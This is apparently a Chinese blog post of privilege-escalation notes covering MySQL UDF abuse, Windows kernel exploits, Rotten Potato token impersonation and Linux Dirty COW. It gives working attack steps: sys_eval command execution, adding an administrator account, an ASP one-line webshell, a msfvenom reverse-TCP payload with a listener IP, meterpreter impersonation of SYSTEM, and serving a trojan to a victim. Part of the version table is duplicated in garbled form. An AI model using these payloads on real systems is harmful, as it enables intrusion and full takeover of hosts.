• Windows提权


    1. MySQL提权

    1.1 UDF提权

    udf = ‘user defined function’,即’用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充

    1、如何获得udf文件

    2、将文件放到哪才能让mysql承认这个函数

    3、函数功能

    4、为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)

    1.1.1 前提

    SQL 注入且是高权限

    secure_file_priv 无限制

    plugin 目录可写

    1.1.2 sqlmap

    udf位置

    /usr/share/metasploit-framework/data/exploits/mysql

    /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

    暂时不能用,需要解码

    cd /usr/share/sqlmap/extra/cloak

    python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

    image-20231011161722104

    放到哪

    MySQL<5.0,导出路径随意;
    5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
    MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
    
    • 1
    • 2
    • 3

    select @@basedir; + lib/plugin/

    image-20231011161805828

    创建函数

    create function sys_eval returns string soname ‘udf.dll’;

    select sys_eval(‘whoami’);

    image-20231011161825646

    image-20231011161835091

    net user test test /add
    
    • 1
    net localgroup administrators test /add
    
    • 1

    函数功能

    sys_eval 执行任意命令,并将输出返回。

    sys_exec 执行任意命令,并将退出码返回。

    sys_get 获取一个环境变量。

    sys_set 创建或修改一个环境变量。

    2. Windows提权

    提权更多的溢出提权

    内存溢出: 自己的堆栈返回到了root的堆栈,返回到root的堆栈后执行程序的权限就是root的权限

    2.1 内核提权

    别用python3

    ms16-032

    检测脚本:

    https://github.com/AonCyberLabs/Windows-Exploit-Suggester

    python -m pip install xlrd==1.2.0
    python windows-exploit-suggester.py --update
    python windows-exploit-suggester.py --database 2023-07-07-mssb.xls --systeminfo 1.txt
    ms16-032
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    exp:

    https://github.com/SecWiki/windows-kernel-exploits

    2.1.1实操

    1. 在普通用户界面运行systeminfo语句,并将执行结果的屏幕输出重定向到一个文件中。
    systeminfo >>1.txt
    
    • 1

    image-20231011171027771

    1. 打开文件查看内容发现有安全补丁。 因为1.txt中有系统的信息,可以在微软官网找到该版本的系统有哪些漏洞。再根据系统的补丁查找可以利用的漏洞。

    image-20231011171447897

    1. 将1.txt文件复制到攻击机中
    2. 在攻击机中下载好攻击脚本

    image-20231011173654044

    1. 下载好的python脚本会自动去微软官网下载想要攻击的主机系统版本的补丁全部下载;给这个脚本一个systeminfo将系统信息和补丁进行对比找出可利用漏洞。

    image-20231011174302365

    python -m pip install xlrd==1.2.0		
    
    • 1

    image-20231011174445773

    python windows-exploit-suggester.py --update		#下载系统所有补丁
    
    • 1

    image-20231011192404739

    python windows-exploit-suggester.py --database 2023-10-11-mssb.xls --systeminfo 1.txt
    
    • 1

    image-20231011193350788

    1. 下载好利用payload可执行文件(木马)后开启web服务器
    python -m http.server 80
    
    • 1
    1. 在普通用户主机上访问并下载payload可执行文件(木马)

    image-20231011200415441

    1. 下载好payload后直接运行可执行文件(执行木马)进行提权

    image-20231011201021620

    image-20231011201053427

    自始至终在受害者主机只做了三步

    • systeminfo
    • 下载木马
    • 执行木马

    2.2 烂土豆(ms16-075)

    asp木马

    <%execute(request("xiu"))%>
    
    • 1

    TkI0V0gtQkJCWVYtM01QUEMtOVJDTVYtNDZYQ0I=

    安装2012,IIS,FTP,把msf木马利用ftp上传到2012,执行,

    利用webshell运行msf木马

    2.2.1 原理

    • 欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端

    • 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。

    • 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。

    https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

    msf生成木马

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=5555 -f exe > shell.exe

    use exploit/multi/handler

    meterpreter > getuid 
    meterpreter > upload  /root/potato.exe C:\Users\Public 
    meterpreter > cd C:\\Users\\Public 
    meterpreter > use incognito 
    meterpreter > list_tokens -u   
    meterpreter > execute -cH -f ./potato.exe 
    meterpreter > list_tokens -u 
    AUTHORITY\SYSTEM  
    meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"  
    meterpreter > getuid 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    image-20231011162437488

    3. Linux提权

    https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

    3.1 脏牛漏洞

    gcc -pthread dirty.c -o dirty -lcrypt

    利用版本必须低于如下版本

    Centos7 /RHEL7    3.10.0-327.36.3.el7
    Cetnos6/RHEL6     2.6.32-642.6.2.el6
    Ubuntu 16.10         4.8.0-26.28
    Ubuntu 16.04         4.4.0-45.66
    Ubuntu 14.04         3.13.0-100.147
    Debian 8                3.16.36-1+deb8u2
    Debian 7                3.2.82-1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    .36.3.el7
    Cetnos6/RHEL6 2.6.32-642.6.2.el6
    Ubuntu 16.10 4.8.0-26.28
    Ubuntu 16.04 4.4.0-45.66
    Ubuntu 14.04 3.13.0-100.147
    Debian 8 3.16.36-1+deb8u2
    Debian 7 3.2.82-1

    
    
    • 1
  • 相关阅读:
    剑桥口语 — 48 个音标标准口型与细节发音(DJ音标)
    Java 并发编程面试题——重入锁 ReentrantLock
    k8s主节点与子节点的错误解决
    java面试强基(3)
    php 实现paypal订阅
    Vue与React更应该学哪一个
    【reverse IDA使用技巧】IDA动态调试Linux_ELF配置+例题:SCUCTF新生赛2021-DebugMe
    使用c#的 async/await编写 长时间运行的基于代码的工作流的 持久任务框架
    KubeGems 启用 Nacos 配置中心
    iphone14来了,可是约好的你去哪了
  • 原文地址:https://blog.csdn.net/weixin_58954236/article/details/133800301